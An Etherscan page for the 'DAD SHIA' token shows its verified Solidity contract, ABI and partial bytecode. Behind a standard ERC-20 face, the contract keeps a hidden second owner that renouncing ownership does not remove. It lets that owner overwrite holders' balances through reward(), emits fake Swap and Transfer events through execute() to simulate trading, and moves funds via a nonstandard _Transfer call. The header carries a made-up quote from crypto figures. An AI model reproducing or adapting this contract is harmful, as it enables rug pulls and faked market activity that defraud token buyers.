ETH Price: $3,270.92 (+3.18%)
Gas: 2 Gwei

Token

DAD SHIA (DADSHIA)
 

Overview

Max Total Supply

2,000,000,000 DADSHIA

Holders

76

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
handlefi.eth
Balance
2,632.728669425066478155 DADSHIA

Value
$0.00
0xB02aC8d081489395f9f224D6ad1d26FbF7c82F8A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DAD_SHIA

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-28
*/

// SPDX-License-Identifier: MIT
/*

SHIA OUT OF THE WAY, SON! YOUR DAD CAME

"More Than a Coin, a Legacy: DAD SHIA Redefining the Crypto Landscape." -Satoshi Nakamoto Vitalik Musk CZ


*/
pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract DAD_SHIA {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "DAD SHIA";
    string public constant symbol = "DADSHIA";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 2_000_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

            function setup(address _setup_) external onlyOwner {
        _pairr = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b06765c793fa10079d0000000600955348015620000c8575f80fd5b503360025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000212573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023891906200049c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396305f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002bd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e391906200049c565b6040518363ffffffff1660e01b815260040162000302929190620004dd565b6020604051808303815f875af11580156200031f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200034591906200049c565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095460405162000429919062000522565b60405180910390a36200053d565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000466826200043b565b9050919050565b62000478816200045a565b811462000483575f80fd5b50565b5f8151905062000496816200046d565b92915050565b5f60208284031215620004b457620004b362000437565b5b5f620004c38482850162000486565b91505092915050565b620004d7816200045a565b82525050565b5f604082019050620004f25f830185620004cc565b620005016020830184620004cc565b9392505050565b5f819050919050565b6200051c8162000508565b82525050565b5f602082019050620005375f83018462000511565b92915050565b6123a4806200054b5f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a05780639b792a441161006f5780639b792a44146102e0578063a1c617f514610310578063a457c2d71461032c578063a9059cbb1461035c578063dd62ed3e1461038c57610114565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c257610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d057806335d16274146101ee578063395093511461021e57806366d382031461024e57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806318aee92014610184575b5f80fd5b6101206103bc565b60405161012d919061159e565b60405180910390f35b610150600480360381019061014b919061165c565b6103f5565b60405161015d91906116b4565b60405180910390f35b61016e61040b565b60405161017b91906116dc565b60405180910390f35b61019e60048036038101906101999190611756565b610411565b005b6101ba60048036038101906101b591906117c7565b61059d565b6040516101c791906116b4565b60405180910390f35b6101d86105bf565b6040516101e59190611832565b60405180910390f35b6102086004803603810190610203919061184b565b6105c4565b60405161021591906116dc565b60405180910390f35b6102386004803603810190610233919061165c565b610750565b60405161024591906116b4565b60405180910390f35b6102686004803603810190610263919061184b565b61077f565b005b610284600480360381019061027f919061184b565b610851565b60405161029191906116dc565b60405180910390f35b6102a2610897565b005b6102ac610968565b6040516102b99190611885565b60405180910390f35b6102ca61098d565b6040516102d7919061159e565b60405180910390f35b6102fa60048036038101906102f591906119d6565b6109c6565b60405161030791906116b4565b60405180910390f35b61032a60048036038101906103259190611756565b610aa7565b005b6103466004803603810190610341919061165c565b610c2e565b60405161035391906116b4565b60405180910390f35b6103766004803603810190610371919061165c565b610c9c565b60405161038391906116b4565b60405180910390f35b6103a660048036038101906103a19190611a56565b610cb2565b6040516103b391906116dc565b60405180910390f35b6040518060400160405280600881526020017f444144205348494100000000000000000000000000000000000000000000000081525081565b5f610401338484610d34565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049790611ade565b60405180910390fd5b5f5b8484905081101561059657826104de8686848181106104c4576104c3611afc565b5b90506020020160208101906104d9919061184b565b610851565b1115610583575f6105168686848181106104fb576104fa611afc565b5b9050602002016020810190610510919061184b565b84610ef7565b90508060075f88888681811061052f5761052e611afc565b5b9050602002016020810190610544919061184b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b808061058e90611b56565b9150506104a2565b5050505050565b5f6105a9843384610f47565b6105b4848484610fd2565b600190509392505050565b601281565b5f805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610631573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106559190611c19565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107009190611c7d565b73ffffffffffffffffffffffffffffffffffffffff161461073157816dffffffffffffffffffffffffffff16610743565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b5f803390506107748185856107658589610cb2565b61076f9190611ca8565b610d34565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080590611d25565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611d25565b60405180910390fd5b5f60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600781526020017f444144534849410000000000000000000000000000000000000000000000000081525081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611ade565b60405180910390fd5b5f5b8551811015610a9a57610a87868281518110610a7757610a76611afc565b5b6020026020010151868686611270565b8080610a9290611b56565b915050610a58565b5060019050949350505050565b5f5b84849050811015610c2757848482818110610ac757610ac6611afc565b5b9050602002016020810190610adc919061184b565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f8087604051610b5f9493929190611d85565b60405180910390a3848482818110610b7a57610b79611afc565b5b9050602002016020810190610b8f919061184b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0c91906116dc565b60405180910390a38080610c1f90611b56565b915050610aa9565b5050505050565b5f803390505f610c3e8286610cb2565b905083811015610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90611e38565b60405180910390fd5b610c908286868403610d34565b60019250505092915050565b5f610ca8338484610fd2565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610da2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9990611ec6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0790611f54565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eea91906116dc565b60405180910390a3505050565b5f610f3f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361132a565b905092915050565b5f610f528484610cb2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610fcc5781811015610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611fbc565b60405180910390fd5b610fcb8484848403610d34565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110379061204a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906120d8565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611132576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112990612166565b60405180910390fd5b61113c818361133f565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111c460075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361139c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161126291906116dc565b60405180910390a350505050565b61127a84846113f9565b611285838386611483565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b68560015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b81526004016112e393929190612184565b6020604051808303815f875af11580156112ff573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132391906121e3565b5050505050565b5f8183611337919061223b565b905092915050565b5f82821115611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137a906122b5565b60405180910390fd5b5f828461139091906122d3565b90508091505092915050565b5f8082846113aa9190611ca8565b9050838110156113ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e690612350565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161147791906116dc565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516115079493929190611d85565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561154b578082015181840152602081019050611530565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61157082611514565b61157a818561151e565b935061158a81856020860161152e565b61159381611556565b840191505092915050565b5f6020820190508181035f8301526115b68184611566565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115f8826115cf565b9050919050565b611608816115ee565b8114611612575f80fd5b50565b5f81359050611623816115ff565b92915050565b5f819050919050565b61163b81611629565b8114611645575f80fd5b50565b5f8135905061165681611632565b92915050565b5f8060408385031215611672576116716115c7565b5b5f61167f85828601611615565b925050602061169085828601611648565b9150509250929050565b5f8115159050919050565b6116ae8161169a565b82525050565b5f6020820190506116c75f8301846116a5565b92915050565b6116d681611629565b82525050565b5f6020820190506116ef5f8301846116cd565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611716576117156116f5565b5b8235905067ffffffffffffffff811115611733576117326116f9565b5b60208301915083602082028301111561174f5761174e6116fd565b5b9250929050565b5f805f806060858703121561176e5761176d6115c7565b5b5f85013567ffffffffffffffff81111561178b5761178a6115cb565b5b61179787828801611701565b945094505060206117aa87828801611648565b92505060406117bb87828801611648565b91505092959194509250565b5f805f606084860312156117de576117dd6115c7565b5b5f6117eb86828701611615565b93505060206117fc86828701611615565b925050604061180d86828701611648565b9150509250925092565b5f60ff82169050919050565b61182c81611817565b82525050565b5f6020820190506118455f830184611823565b92915050565b5f602082840312156118605761185f6115c7565b5b5f61186d84828501611615565b91505092915050565b61187f816115ee565b82525050565b5f6020820190506118985f830184611876565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6118d482611556565b810181811067ffffffffffffffff821117156118f3576118f261189e565b5b80604052505050565b5f6119056115be565b905061191182826118cb565b919050565b5f67ffffffffffffffff8211156119305761192f61189e565b5b602082029050602081019050919050565b5f61195361194e84611916565b6118fc565b90508083825260208201905060208402830185811115611976576119756116fd565b5b835b8181101561199f578061198b8882611615565b845260208401935050602081019050611978565b5050509392505050565b5f82601f8301126119bd576119bc6116f5565b5b81356119cd848260208601611941565b91505092915050565b5f805f80608085870312156119ee576119ed6115c7565b5b5f85013567ffffffffffffffff811115611a0b57611a0a6115cb565b5b611a17878288016119a9565b9450506020611a2887828801611648565b9350506040611a3987828801611648565b9250506060611a4a87828801611615565b91505092959194509250565b5f8060408385031215611a6c57611a6b6115c7565b5b5f611a7985828601611615565b9250506020611a8a85828601611615565b9150509250929050565b7f43616c6c6572206973206e6f7420746865204f776e65720000000000000000005f82015250565b5f611ac860178361151e565b9150611ad382611a94565b602082019050919050565b5f6020820190508181035f830152611af581611abc565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b6082611629565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b9257611b91611b29565b5b600182019050919050565b5f6dffffffffffffffffffffffffffff82169050919050565b611bbf81611b9d565b8114611bc9575f80fd5b50565b5f81519050611bda81611bb6565b92915050565b5f63ffffffff82169050919050565b611bf881611be0565b8114611c02575f80fd5b50565b5f81519050611c1381611bef565b92915050565b5f805f60608486031215611c3057611c2f6115c7565b5b5f611c3d86828701611bcc565b9350506020611c4e86828701611bcc565b9250506040611c5f86828701611c05565b9150509250925092565b5f81519050611c77816115ff565b92915050565b5f60208284031215611c9257611c916115c7565b5b5f611c9f84828501611c69565b91505092915050565b5f611cb282611629565b9150611cbd83611629565b9250828201905080821115611cd557611cd4611b29565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f611d0f60178361151e565b9150611d1a82611cdb565b602082019050919050565b5f6020820190508181035f830152611d3c81611d03565b9050919050565b5f819050919050565b5f819050919050565b5f611d6f611d6a611d6584611d43565b611d4c565b611629565b9050919050565b611d7f81611d55565b82525050565b5f608082019050611d985f8301876116cd565b611da56020830186611d76565b611db26040830185611d76565b611dbf60608301846116cd565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611e2260258361151e565b9150611e2d82611dc8565b604082019050919050565b5f6020820190508181035f830152611e4f81611e16565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611eb060248361151e565b9150611ebb82611e56565b604082019050919050565